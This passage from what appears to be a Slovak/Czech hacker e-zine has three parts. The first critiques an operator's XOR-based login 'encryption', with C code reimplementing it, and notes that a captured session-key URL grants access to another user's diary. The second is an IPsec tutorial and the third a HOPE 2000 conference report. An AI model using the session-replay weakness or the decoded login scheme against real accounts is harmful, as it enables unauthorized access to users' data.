                s1[i] = random () % 255;
                s1[i+42] = s1[i] ^ s[i];
        }

        *uri = 0;

        for (i = 0; i<84; i++) {
                sprintf (chr, "%x", s1[i]);
                if (strlen (chr) < 2)
                        strcat (uri, "0");
                strcat (uri, chr);
        }
}

snad je program jednoduchy na pochopenie. ak nie, strucne ho vysvetlim: najprv sa vytvori retazec v tvare login#heslo#, potom sa doplni nahodnymi znakmi, vytvori sa druhy retazec rovnakej dlzky a na jednotlive znaky sa pouzije operacia xor. druhy retazec a ten ,,sxorovany'' sa spoja dokopy a to je prihlasovacie heslo. desifrovanie je jednoduchy xor, pricom desifrovaci kluc sa prenasa spolu so zasifrovanym tvarom.

autori tohto appletu teda asi pouzitie slova ,,v kryptovanom tvare'' mysleli ironicky a chceli nas pobavit. clovek by pri takomto tvrdeni cakal aspon pouzitie asymetrickej kryptografie, ktore by zabranilo pasivnemu utoku (aktivnemu by zabranilo pouzitie ssl s certifikatom od doveryhodnej certifikacnej autority -- uz aj klasicky snake oil certifikat by bol lepsi, ako toto ,,riesenie'').

nemam rad, ked vo mne niekto chce vyvolat falosny pocit bezpecia bez toho, aby svoje tvrdenie zalozil na argumentoch. prihlasovanie je rovnako nezabezpecene ako bolo aj predtym, ziadny xorovaci applet na tom nic nezmeni. okrem toho applet dostane naspat session key, cize netreba ani velmi rozmyslat a pristup do diara niekoho ineho sa da ziskat aj bez tejto analyzy (snaci do prehliadaca zadat odchytene url so session key a ste vnutri, aplikacia si dokonca ani neoveruje, ci s danym session key pride clovek z tej istej adresy ako je adresa, na ktoru session key poslal, co je par riadkov kodu -- podobne problemy boli uz na slovenskych a ceskych serveroch venujucich sa tematike bezpecnosti popisane).

vedzte teda, ze aktualny diarlib pracuje aj s novym ,,sifrovanim'' a ak vam staci limit 10 sms za den, mozete ho pouzivat (napriklad, ak nechcete kvoli rozmarom eurotelu a el&t instalovat javu).

ja len verim, ze nasi operatori konecne dostanu rozum a budu sluzbu notifikacie o prichadzajucom e-maile poskytovat kazdemu platiacemu zakaznikovi zdarma ako je to zvykom v zahranici a nebudu chciet z nas vyryzovat kazdy halier. alebo mame vsetci emigrovat?

juraj bednar

navrat na obsah
co ty na to ? board


uvod do ipsec (protokoly, implementace, pouziti)

uvod

nasledujici text je velmi podobny prednasce, ktera zaznela na openweekendu v dejvicich, a sleduje vicemene slajdy [1]. pro vice informaci si prectete texty uvedene v sekci 'literatura'. je uzitecne precist si zdrojove texty operacnich systemu, ktere implementuji ipsec [2], za predpokladu znalosti implementace sitoveho subsystemu [3].

pojem ipsec

kdyz se podivame na ip protokol [4], neni tezke uvidet, ze postrada vlastnosti, ktere jsou bezpecnosti vlastni - autentizaci, zaruku konfidentality, integrity, ochranu proti replay utokum. tento nedostatek, zaroven s tim, jak se rozsiruji podnikove site, prispel k tvorbe pozadavku na vybudovani noveho protokolu, pripadne rozsireni stavajiciho. protoze je dnes ip siroce vyuzivan, ustavila ietf [5] komisi, ktera mela za ukol navrhnout extenzi ip tak, aby splnovala tyto pozadavky a zaroven byla zpetne kompatibilni s ip, tj. aby stroje ktere ji nerozumeji, nebranily jeho pouziti.

vpn

s pojmem ipsec uzce souvisi vpn (virtual private network). pomoci ipsec muzeme propojit oddelene site tak, aby jejich propojeni bylo uvnitr samych sebe transparentni. toto propojeni muzeme diky vlastnostem ipsec realizovat pres verejne datove site, coz s sebou nese zrejme vyhody, jako rychlejsi vybudovani, uspora nakladu (neni nutne budovat fyzicke spojeni jednotlivych lokalit) - to plati i pro operatora, ktery datovou sit pronajima. na druhou stranu je toto reseni narocne na spravu (a tim i na prostredky pokud spravu sverime treti strane). ipsec je bezpecnostni mechanismus ip vrstvy, ktery se vztahuje na kazdy ip paket. mame-li sit, kde veskera komunikace probiha na ip, vyplyva, ze zabezpeceni ip zabezpeceni datovych toku v cele siti. je nutne si uvedomit, kam az ipsec saha. pokud pozadujeme autentizaci uzivatele, prip. navic v ramci nejake aplikace, lezi prostredky ipsec v prilis nizke vrstve. pro aplikacni vrstvu je ipsec naprosto transparentni, coz muze byt nekdy nezadouci, tento problem vsak do urcite miry resi prostredky typu ssl.

podstata ipsec

zakladni stavebni kameny ipsec jsou z pohledu ip dva rozsirujici protokoly: ah (authentication header) [6] a esp (encapsulated security payload) [7]. ah i esp se prekryvaji - ah poskytuje prostredky pro autentizaci, esp muze poskytovat autentizaci i sifrovani. tyto dva protokoly jsou vystaveny tak, aby bylo mozne rozsirovat je napr. o dalsi sifrovaci funkce. tyto dva protokoly je mozne v ramci jenoho paketu kombinovat. je nutne si uvedomit, ze toto urcite nestaci k tomu, abychom zajistili bezpecnost datovych toku mezi sitemi. k uplnosti schazi mechanismus pro vymenu klicu - ike (internet key exchange) [17]. zminujeme-li ip protokol, je tim myslen v zasade ipv4. v ipv6 je ipsec povinny, nicmene to s sebou nese implementacni problemy.

sa

prvnim stupnem abstrakce nazirani na datovy tok v ramci ipsec je sa (security association). sa obsahuje nasledujici atributy: cilovou ip adresu, ipsec protokol (ah,esp), cislo spi, sekvencni citac, mod prenosu (tunnel, transport), casova data o vyprseni, atd. aby spolu mohly bezpecne komunikovat dve strany, je zapotrebi dvou sa - kazda pro jednu stranu. cislo spi (security parameter index) jednoznacne identifikuje dany sa. podle nej se vyhleda prislusny sa pro zpracovani prichoziho ipsec paketu. spi vznika pri vyjednavani parametru spojeni, vytvari ho prijemce sa. spolu s cilovou adresou a bezpecnostnim protokolem (ah,esp) vytvari spi primou vazbu s prislusnym sa.

ah

ah nam poskytuje nasledujici funkce: ochranu integrity pro hlavicku a data (payload) a overeni ze paket pochazi od daneho odesilatele. protoze se ah snazi chranit celou ip hlavicku, pokryvaji autentizacni data vsechna pole, vyjma tech, ktera se meni pri tranzitu. format ip paketu, ktery obsahuje ah ma jednoduse prilepenou ah hlavicku hned za ip hlavickou, pak nasleduji data. (tj. napr. tcp hlavicka + data ktera prenasime)

zjednoduseny format ah hlavicky:

    next header | payload len | reserved 
    security parameters index (spi)
    sequence number field
    authentication data (variable)
nextheader urcuje nasledujici vyssi protokol (esp, tcp). spi (security parameter index) jednoznacne urcuje sa (tj. proto, klice, algoritmy) a je inkrementovan pro dst addresu nebo sa. payload len urcuje delku ah hlavicky minus 2 (kvuli zpetne kompatibilite s puv. navrhem ah). sekvencni cislo zajistuje ochranu pro replay utokum. presny format ah hlavicky lze nalezt v [6].

esp

primarni funkci esp je ochrana dat pred odposlechem, ale muze zaroven poskytovat i autentizaci, v ramci ni nechrani ale cely paket jako to dela ah, esp autentizuje pouze nizsi hlavicky.

zjednoduseny format esp hlavicky:

    spi (security parameters index)          		^
    sequence number 		      	                | autentizovano
    payload data | padding             <- sifrovano ->  v
    authentication data
presny format esp hlavicky lze nalezt v [7]. spi, seq. num. maji tentyz vyznam jako u ah, padding muze slouzit jednak k znesnadneni analyzy datoveho toku podle objemu dat, jednak pro blokove sifry aby byla data zarovnana na delku, kterou pozaduje dana blokova sifra.

mody prenosu

ipsec definuje dva mody prenosu - transport a tunnel mod. transport mod je urcen pro ipsec spojeni mezi dvema stroji, pomoci tunnel modu muzeme budovat plnohodnotne vpn. format paketu pro transp. mod a esp vypada jednoduse: ip [ esp | payload ]. tunnel mod provadi zapouzdreni hlavicek, pro pocitace ktere spolu v ramci vpn komunikuji, je spojeni transparentni. z paketu, ktery produkuje pocitac uvnitr vpn: ip1 [ payload ] se stane po ipsec zpracovani zapouzdreny paket: ip2 [ esp | ip1 | payload ]. stejne tak lze pouzit ah protokol. zde je vhodne se zeptat, jestli a za jakych podminek muze dojit k soucasnemu pouziti ah a esp. tato vlastnost se nazyva tzv. transport adjacency. esp hlavicka je prilepena za ah: iphdr1 ah esp iphdr2 {tcphdr + data}. tim padem autentizujeme cely paket (vyjma nekolika poli ve vnejsi ip hlavicce iphdr1) a sifrujeme tcp hlavicku a data.

vstup / vystup

abychom mohli pri zpracovani paketu urcit jak s nim mame dle ipsec nalozit, potrebujeme jednoznacne identifikovat prisluny zaznam v sad (security association database). k tomu slouzi spi. na vystupu dostaneme paket, na ktery se muzeme divat jako na ip hlavicku a data. pri ipsec zpracovani se rozhodneme dle security policy jak s paketem nalozime, zasifrujeme, pridame esp hlavicku, spi a predame ke zpracovani. security policy slouzi k rozhodovani co se s paketem v ramci ipsec stane. rozhodovat muzeme podle adresy nebo socketu. pokud na vstupu dostaneme ipsec paket, vyhledame prisl. sa podle spi, desifrujeme, predame dalsi vrstve. pri hledani sa je nutne mit reasemblovany paket (pokud byl predtim fragmentovan), pricemz routery obvykle reasembling neprovadeji. konkretni pripad pouziti v ethernetu by vypadal takto:

esp, vystup na ethernetu

    bez esp
	1. slozena tcphdr, pripojena k datum
	2. slozena iphdr, pripojena pred tcp
	3. slozena eth hdr, pripojena pred ip (+ eth cksum na konci)

    s esp
	1. dtto
	2. slozen esp paket
		 zasifruje tcphdr + data 
	3., 4. dtto

ike/isakmp

nyni mame vybudovany prostredky a pojmy pro bezpecnou komunikaci, chybi nam ale podstatna vec: mechanismus pro vymenu klicu. bez nej by byly ah a esp pro pouziti v realnem svete k nicemu. klice muzeme sice nastavit rucne (priradime jim staticka spi), to samozrejme neposkytuje ochranu proti replay utokum. automaticke nastaveni klicu je provadeno podle ike (internet key exchange) [17]. pro predstavu slozitosti nastavovani vpn pomoci pri pouziti statickych klicu a symetricke kryptografie nam pomuze nasl. priklad s prodejci: mame 23 prodejcu, ti chteji spolu komunikovat, pricemz jednou mohou byt jejich zajmy spolecne, jindy mezi nimi panuje konkurencni boj. pokud budou spolu chtit prodejci bezpecne komunikovat, musi mit nejaky mechanismus pro vymenu klicu. mohou to udelat tak, ze se jednou za cas kazdy setka s kazdym a vymeni si klic pro komunikaci. nebo mohou mit jednou za cas snem, kde kazdy zverejni svuj verejny klic. to je sice stale slozite, ale uz podstatne jednodussi reseni. ike je vystaven nad isakmp (internet sa and key management protocol), coz je obecny ramec pro dohodu bezp. parametru jednotl. spojeni a je striktne oddelen od vymeny klicu. ike ma za ukol jednak spravu klicu, jednak vyjednavani parametru ipsec spojeni. ukolem tedy je:

1. vyjednat protokoly, algoritmy, klice
2. snadna vymena klicu (a casta)
3. sledovat tyto ujednani (sa management)

ukolem ike je zajistit dohodu klicu a algoritmu, od zacatku zajistti autenticitu vymeny, spravu dohodnutych klicu (napr. expiraci), bezpecnou vymenu materialu pro generovani klicu.

isakmp

isakmp pracuje ve dvou fazich - v prvni fazi sestavi bezpecny, autentizovany kanal pomoci ktereho budou komnikovat obe strany (tzv. ike sa). v druhe fazi se vyjednavaji sa pro obecne pouziti. k sestaveni ike sa lze pouzit bud main mode nebo aggressive mode. main mode potrebuje k uspesnemu dokonceni vymeny 5 zprav (tzv. 3-2 vymena), aggressive mode pouze 3, pricemz aggresive mode nezajistuje ochranu identity. v ramci teto vymeny probiha dohoda parametru spojeni, zjednodusene si lze predstavit tak, ze jedna strana navrhne parametry (tzv. ike proposals) pro budouci sa a pokud druha strana 'souhlasi', vzejde z teto vymeny material pro vyrobu klicu. tato asociace se nazyva ike sa. k ustaveni ike sa navrhuje iniciator 6 veci [14]:

sifrovaci algoritmus
hashovaci algoritmus
authentication method
info o d-h grupe
prng funkci
bezp. protokol (ah nebo esp)

pokud budeme uvazovat o tom, jak snizit pravdepodobnost toho, ze kdyz se utocnikovi dostanou do ruky zasifrovana data, bude je schopen desifrovat. bud muzeme pouzit opravdu velke klice, (to je ale narocne na vypocetni vykon a sirku pasma) nebo muzeme pouzit rozumne velke klice a casto je menit. to s sebou prinasi problem jak zajistit generovani klicu aby je druha strana mohla pouzit. pokud nebudeme dalsi klic odvozovat od stavajiciho, bude mit utocnik moznost v pripade ze desifruje dany klic nahlednout pouze na cast prenasenych dat. teto metode se rika perfect forward secrecy a ike k ni pouziva diffie-hellmanovo schema.

d-h schema:
obe strany vygeneruji public/private key pair
obe si vymeni public klice
zkombinuji ziskany public se svym tajnym (d-h algoritmus)
ziskanou hodnotu pouziji pro sifrovani symetrickou sifrou

ve druhe fazi se pouziva tzv. quick mode vymena, ktera ma za ukol provadet periodickou vymenu klicu pro sa. quick mode (qm) uz probiha uvnitr bezpecneho tunelu (ike sa), protokol je tedy jednodussi. zpravy qm zacinaji hashem, ktery autentizuje zbytek paketu, qm vymena probiha pomoci 3 zprav (podobne jako v aggresive mode). iniciator posle spi ktere bude pouzivat ke komunikaci a responder posle spi, ktere si vybral on. tim dostaneme inbound (vzhledem k iniciatorovi) a outbound sa. iniciator uzavira vymenu potvrzujici zpravou. obecne schema spoluprace ike+ah,esp pak bude:

1. pouzij main mode (prip. aggresive mode) pro bootstrap ike sa
2. pouzij quick mode v ramci ike sa pro vyjednani sa
3. pouzivej sa ke komunikaci nez vyprsi

abychom mohli overit, ze druha se strana je skutecne ta, za kterou se vydava, potrebujeme nejaky zpusob k verifikaci identity. k tomu slouzi treti strana - certifikacni autorita (ca). certifikaty spojuji dohromady nasledujici tri veci: vasi identitu (napr. jmeno a sidlo), verejny klic ca, vas verejny klic (urceny k podpisu). schema overeni identity vypada priblizne takto:

1. poslu data k podpisu druhe strane
2. prijmu certifikat od druhe strany podepsany ca
3. overim podpis ca
4. overim podpis druhe strany

toto se nazyva tzv. 'chain of trust'. ten zacina nasi duverou v identitu ca a tu pouzijeme k overeni duvery v nekoho jineho. ike pouziva k overeni identity pres treti stranu prumyslovy standard x.509 [19]. ike je navrzen jako otevreny standard, je tedy mozne rozsirit jej o dalsi.

kritika ipsec

v [12] jsou shrnuty jednak argumenty proti navrhu ipsec, druhak jsou navrhnuta reseni, ktera opravuji chyby. obecne se o ipsec da rici, ze se jedna o velmi slozity system. kazdy slozity system obsahuje netrivialni chyby. pri formalnim overovani bezpecnosti takoveho systemu to klade velke naroky a verifikace se tak stava zdlouhavou a na lidske zdroje narocnou cinnosti. zaroven to nese problemy s interoperabilitou - jednotlive implementace nemusi byt kompatibilni. schneier [12] toto nazyva 'complexity trap': nejvetsim nepritelem bezpecnosti je slozitost. proc je ipsec tak slozity ? pokud se podivame na proces navrhovani tohoto protokolu, a srovname jej napr. s procesem vyberu aes [18], je videt typicky tzv. 'comittee effect' - kazdy z komise [5] si vybere svou 'oblibenou' vlastnost a tu do noveho protokolu prosadi. dalsi kritizovanou vlasnosti je nedostacujici dokumentace - jednak obsahuje mnohoznacnosti, z cehoz plnou problemy pri implementaci, druhak neobsahuje vysvetleni duvod volby byly jednotlivych komponent. porovname-li napr. transport a tunnel mod, zjistime, ze tunnel mod je nadmnozinou transp. modu a transp. mod tedy neni potreba. muzeme argumentovat tak, ze tunnel mod ma vetsi 'overhead', ale pri aplikovani jednoduche komprese muzeme dosahnout stejneho mnozstvi dat. dale, sa jsou jednosmerove. pri pouziti ipsec sotva budeme chtit zebezpecit pouze jednu stranu komunikace, navic se tak zjednodussi impelemntace (polozky v sad - security association database). navrh ah a esp protokolu se prekryva, mohli bychom vynechat ah a zaroven chtit aby esp vzdy poskytoval autentizaci - sifrovani bez autentizace je k nicemu. tim se navrh znacne zjednodusi. (autori navrhu se ohrazuji tim, ze napr. site armady usa jiz obsahuji dostatecne prostredky pro autentizaci a tedy v navrhu neni potreba) dalsi diskutabilni vlastnosti je poradi operaci - ipsec nejdrive pouzije sifrovaci funkci, pote autentizacni. hortonuv princip stanovuje poradi operaci opacne, tj. autentizuj co je mineno. schneier [12] tvrdi, ze o ipsec tak jak je navrzen, se neda rict, ze je to bezpecny zpusob, jak zajistit bepecnost ip a nedoporucuje ipsec k pouzivani. pres vsechny tyto nedostatky je ale ipsec nejlepsim dostupnym resenim a je siroce vyuzivan.

implementace

ipsec je ke dnesnimu dni implementovan v rade os, v zasade muzeme implementace rozdelit na komercni (napr. cisco [15]) a open source. nejpopularnejsi ipsec stack - kame [16] je japonske produkce, je integrovan do freebsd a netbsd a obsajuhe ipv6 implem. openbsd ma vlastni ipsec stack, ktery napsali a. keromytis a j. ioannidis. zpracovani ipsec paketu probiha v kernelu, vymeny v ramci ike probihaji v userlandu. ve freebsd k tomu slouzi racoon(8), v openbsd isakmpd(8). datove struktury pro ulozeni dat nutnych ke zpracovani ipsec se nazyvaji sad (tdb) - to je database sa a spd - security policy (sp) database. sp je analogie firewallu, rozhodnuti se ale tykaji sa. kdyz se podivame na vztah ipsec a ike, muzeme vyzvednout nasledujici odlisnosti a vlastnosti:

ipsec - v kernelu, fce pro setup tajnych klicu, hash fce
ike - v userlandu, verejne klice, certifikaty

ipsec se urcite nehodi pro ochranu beznych spojeni a uz vubec ne jako nahrada ochrany na aplikacni urovni. vezmeme si napr. host typu yahoo.com, kteremu by pri mnozstvi pozadavku jake jsou na tento vznaseny nestacila kernel memory.

pouziti

ipsec je bezne pouzitelny pro budovani vpn, v posledni dobe se dobre osvedcil jako nahrada wep (wireless equivalent privacy) [11], u ktereho se prokazalo, ze 40bit i 128 verze jsou nebezpecne. ipsec je zajimavy i pro organizace, jejiz uzivatele casto cestuji nebo pracuji vzdalene - tzv. 'road warriors'. ve spojeni s ca je uz ipsec v tomto pripade pouzitelny. presto, ze ipsec je slozity protokol, ma napr. pod openbsd jednoduchy setup [10] - k nastaveni nam krome znalosti sitovani bude stacit pf/ipf(8) a isakmpd(8). nanestesti protokol diky sve slozitosti umoznuje nastaveni, ktere neni bezpecne, administrator, kteremu principy na kterych ipsec stoji nejsou vlastni, muze snadno udelat chybu, ktera vede ke snizeni bezpecnosti.

literatura

[1] Openweeknd 2001 IPSec Slides
[2] RFC 2401 (IPSec)
[3] Kirk McKusick - The Design and Implem. of the 4.4BSD Operating System
[4] RFC 791 (IP)
[5] IETF IPSec Working Group
[6] RFC 2402 (AH)
[7] RFC 2406 (ESP)
[8] Itojun, slajdy o implem. ipsec/IPv6
[9] NetBSD IPSec FAQ
[10] OpenBSD IPSec FAQ v cestine
[11] IPSec jako nahrada za WEP
[12] Cryptographic Evaluation of IPSec
[13] Dipl. prace Vaska Petricka, MFF UK
[14] Understanding IPSec Protocol Suite
[15] Cisco Security Technical Tips - IPSec
[16] KAME project
[17] RFC 2409 (IKE)
[18] AES
[19] X.509 Certificates and Certification Authorities

vladimir kotal, vlada(at)openbsd.cz

navrat na obsah
co ty na to ? board


hackers on the planet earth 2000

po viac ako roku od konania konferencie hackers on the planet earth 2000 (alias hope 2000, alias h2k) som sa povzbudeny istym nemenovanym clenom hysterie konecne odhodlal spisat nejake postrehy z tejto akcie ktorej som sa zucastnil.

najprv niekolko poznamok. oficialnu stranku h2k s mnozstvom zaujimaveho materialu najdete na adrese http://www.h2k.net. moje fotky z akcie sa nachadzaju na http://www.johny.sk/h2k/, na niektore zaujimave zabery upozornim nizsie. vacsinou su dost tmave, je to sposobene tym, ze sa cela akcia konala dnu v hoteli a defaultny blesk k mojmu fotoaparatu je vhodny tak do 1.5 metra..

do new yorku som pricestoval z domu mojho znameho v connecticute (asi 50 mil od nyc) autom s niekolkymi dalsimi ludmi, ktorych som dovtedy poznal len z irc. po prichode do hotela som sa zaregistroval na recepcii, mal som rezervovanu jednu dvojpostelovu izbu, na ktoru sme sa planovali zlozit samozrejme viaceri ako dvaja. nakoniec to dopadlo tak, ze sa nas v jednej izbe pre dvoch nazbieral rekordny pocet -- 10 ludi, hehehe. ja osobne som spal v miestnosti, ktora za normalnych okolnosti sluzi ako satnik [54] (tie dvere nie su vstup do izby ako by sa mohlo zdat. boli to nejake unikove dvere, ani sa nedali otvorit). nechali sme si na izbu doviezt aj pridavnu rozkladaciu postel, a duali sme, ze nam ju nezarataju do ceny :-). ale namiesto nej nam priniesla upratovacka dake uteraky, ci co. pochopili to az po dalsom telefonate na recepciu. zatial sme sa v izbe rozlozili, jeden z pritomnych si zisiel dole kupit nejaku colu a vratil sa s uctom z hotela, ktory nasiel pri telefonoch, na ktorom bolo cislo kreditky aj s menom, adresou a datumom expiracie karty :-)) [08].

hned v prvy vecer bola premiera dokumentarneho filmu o niektorych hackerskych kauzach, vacsina filmu pojednava o kevinovi mitnickovi, resp. o jeho 5-rocnom pobyte vo vazeni bez toho, ze by bol odsudeny, a o snahach dostat ho von. pritom z neho ale nerobia ziadneho krala hackerov ako byval vacsinou prezentovany v mediach. film sa vola freedom downtime [http://www.freedomdowntime.com] a natocili ho manici z 2600. doteraz vsak nie je uvolneny ani na vhs ani na dvd, aj napriek tomu, ze to stale slubuju.

samozrejmostou pocas celeho vikendu bol free konekt na internet, stacilo si len priniest pocitac s kablom a sietovou kartou a plugnut ho do siete (hlavny switch [49]). pre ludi, ktori si pocitac nechali doma, bol otvoreny network room s klasickymi zelenymi zabami, ktore ste si mohli kupit a po skonceni akcie odniest domov :-). niektori manici tam doniesli celkom pekne historicke kusky, [28, 33, 44, 45, 45, 47, 50, 51, 52]. niektori zase mali celkom stylovo pokreslene notebooky [25]. na tejto akcii za zislo naozaj slusne mnozstvo roznych zaujimavych ludi. prislo sice aj dost lamerov, ktori sa tvarili ako najvacsi hackeri na svete, ale ked ste si ich odmysleli, tak to bolo super. napriklad typci, co robili prednasku o robotike mali skonstruovaneho robota, ktory dokaze sprayovat napisy [38] (vysledok [48]). v tom case pracovali na novej verzii tohto robota, ktora pouziva normalne velke auto (videl som ho na fotke, bola to velka rampa so spraymi, upevnena na velkom pickupe - takom tom klasickom americkom), proste uplna sialenost :-). samozrejme, nesmela chybat ani tradicne klasicka dodavka 2600-karov, ku ktorej sa viaze nespocetne mnozstvo legiend :-)) [39, 40, 41, 42] dalsia legenda, captain crunch [22, 62, 63], ktoremu sa prisudzuje "objav" tonu s frekvenciou 2600hz, pomocou ktoreho sa kedysi (a vraj este v niektorych statoch v zapadnutych castiach aj dnes) dalo volat z verejnych telefonnych automatov zadarmo. traduje sa, ze tento, dnes uz stary pan, si vtedy kupil chipsy "captain crunch", v ktorych bola ako bonus pistalka, ktora vedela menit vysku tonu podla toho ako sa vytiahol alebo zasunul taky cicik, ktory z nej trcal (kedysi aj u nas boli take lizatka s pistalkou na tomto principe). no a stary pan crunch ;-) niekomu telefonoval, pritom si popiskoval a zistil, ze ked zapiska isty ton, tak mu automat nic neuctuje. fakt je ten, ze to vlastne nevymyslel on, ale niekto uplne iny a on to len spropagoval (sam mi to povedal ;-). dalsi zaujimavy clovek, ktoreho bolo mozne vidiet, bol bernie s. [75, 76, 77]. clovek, ktory bol obvineny zo zneuzitia telefonnej siete -- podobny pripad ako mitnick. ten sheet, ktory mozte vidite nalepeny na stlpe v pozadi, je upozornenie umiestnovane vo vazniciach pri telefone, ktore hlasa nieco v zmysle "podla zakona moze byt vas hovor nahravany blablabla" v anglictine a spanielcine. bernie ten letak strhol, odfaxoval znamemu a tu ho predaval za 1 dolar za kus ;-)). inak pohodovy clovek. vseobecne vsetci ludia, s ktorymi som sa stretol, boli dost cool, dobre sa s nimi rozpravalo a vacsinou zo seba nerobili marchrov ani nic podobne. nemozno nespomenut emmanuela goldsteina, zakladatela magazinu a organizacie 2600 [30].

osobne som sa najviac z celej konferencie (fuj, konferencia, to znie prilis snobsky :-) tesil na social engineering panel, pretoze som si este predtym pustal zaznamy z predosleho hope ako volali napriklad do miestneho k-martu, kde sposobili mensiu paniku, ked sa im podarilo, aby ich prepli na klapku, ktora bola napojena na ozvucovaci system v celom obchodnom dome a vyhlasili, ze v oddeleni tom a tom je vsetok tovar az do odvolania zadarmo :-))). tentoraz to uz, bohuzial, az taka sranda nebola, nakoniec spravili len jeden telefonat do miestnej telekomunikacnej spolocnosti, kde chceli zistit nejake doverne informacie (uz si ani nepamatam presne co to bolo ale to nie je dolezite), ale skrachovalo to na tom, ze zamestnanci mali zakazane poskytovat akekolvek informacie, pretoze "v ten den sa v meste kona hackerska konferencia" :-)))). na zaver tohoto bloku sa telefonicky spojili s kevinom mitnickom, ktoremu bolo mozne klast aj otazky z plena :-). mitnickovi tie 2 roky podmienecne, ktore si musi odpykat, naozaj nezavidim -- predstavte si, ze by ste sa 2 roky nemohli ani len dotknut pocitaca alebo nejakeho ineho elektronickeho zariadenia, ktore by len z dialky pripominalo pocitac. uff. [68, 69, 70, 71, 72]

velku show predviedli cult of dead cow (autori back orifice), z ktorej ale nemam ziadne fotky, lebo som bol daleko od podia, a ktora ma az tak nezaujimala, lebo tito chlapici su naozaj mimo :-). ta ich show bol hrozny ulet, s jednym z ich clenov som sa aj osobne zoznamil (ma titul minister of propaganda) a bol to celkom slusny clovek -- dalo sa s nim porozpravat (povodne som predpokladal, ze ma posle niekam s vyhovorkou, ze nema cas alebo podobne).

zaujimave veci predviedli aj chlapci z holandska, ktori zalozili "sportovy klub otvarania zamkov bez kluca" (lockpicking), hehehe. vraj sa tato disciplina celkom ujala uz aj v nemecku. aj ked sami zdoraznuju, ze to robia len pre potesenie a zneuzivanie tohoto konicka na trestnu cinnost rozhodne odsudzuju, z ich prednasky by si nove informacie odniesol urcite nejeden kriminalny zivel :-). bolo to naozaj celkom zaujimave ("workshop" [64], kde si kazdy mohol vyskusat svoju zrucnost v otvarani zamkov, a prednaska [78, 79]. tak ako kazdej verejnej akcie, kde sa koncentruje vacsie mnozstvo hackerov, aj tejto sa urcite zucastnili tajni. povacsine ale zostanu tajni az do konca. na h2k sa vsak konala verejna diskusia s jednym agentom fbi, ktory podla toho co hovoril, sympatizoval s hackermi a vyklopil celkom slusne mnozstvo zaujimavych informacii (myslim, ze vydal aj nejaku knihu, kde podal vsetky informacie, ktore nie su tajne -- su to zaujimave veci, aj ked si poviete, ze "aa, co, vsak co nie je tajne, tak kazdy vie". ale nie je to taka). bohuzial, vela si nepamatam lebo som nestihal absorbovat tolko informacii naraz. nabuduce si budem robit poznamky.

prezentaciu si pripravil aj detektiv z istej agentury, ktory predvadzal systemy, ktore pouzivaju detektivi na vyhladavanie informacii o obcanoch [65, 66, 67]. zopar pritomnych ludi mu povedalo svoje meno a on im uz nasiel vsetko ostatne -- adresu, datum narodenia, ssn, mena rodicov a surodencov a kreditne informacie. celkom pekny big brother :-).

zaujimavostou bolo, ze hned druhy den po skonceni h2k (teda v pondelok), sa na sude v new yorku prejednaval pripad mpaa vs. 2600, takze dost ludi sa v nyc zdrzalo este dalsi den, aby podporili demonstraciu proti mpaa, ktora sa konala pred budovou sudu. zucastnil som sa aj ja (fotodokumentaciu mozete najst na adrese http://www.johny.sk/mpaa/). prebiehala v pokludnom style, nic zvlastneho sa neudialo. dostal som sa aj do sudnej siene, celkom zaujimave je vidiet nazivo to, co vacsinou vidite len v americkych filmoch (matlock a spol. :-). casti tejto demonstracie sa zucastnil aj richard stallman, zakladatel gnu a prezident free software foundation, s ktorym sa mi podarilo zajst na obede do cinskej restauracie ale na moje pocudovanie, ked som si neskor pozeral fotky, ani na jednej som ho neobjavil :-).

co dodat na zaver, snad iba tolko, ze aj ked som sa snazil, nebolo mozne dostat sa na vsetky prednasky, ktore by som chcel vidiet, pretoze vacsinou prebiehali 3 sucasne na roznych miestach a verte ze 90% veci by som rad absolvoval. ak sa chce clovek este aj stretnut so znamymi, zaujimavymi ludmi, tak nie je sanca to vsetko stihnut :-). tento rok v lete sa bude konat dalsi rocnik tejto akcie (doteraz sa konala vzdy kazde dva roky), ja sa tam opat chystam a tentokrat som sa rozhodol, ze si budem seriozne robit aj poznamky a spravim snad aj nejake rozhovory so zaujimavymi osobnostami, takze sa mate na co tesit.

no a ako hovori jeden moj znamy, zatedy bye!

johny, johny(at)2600.sk

navrat na obsah
co ty na to ? board



INDEX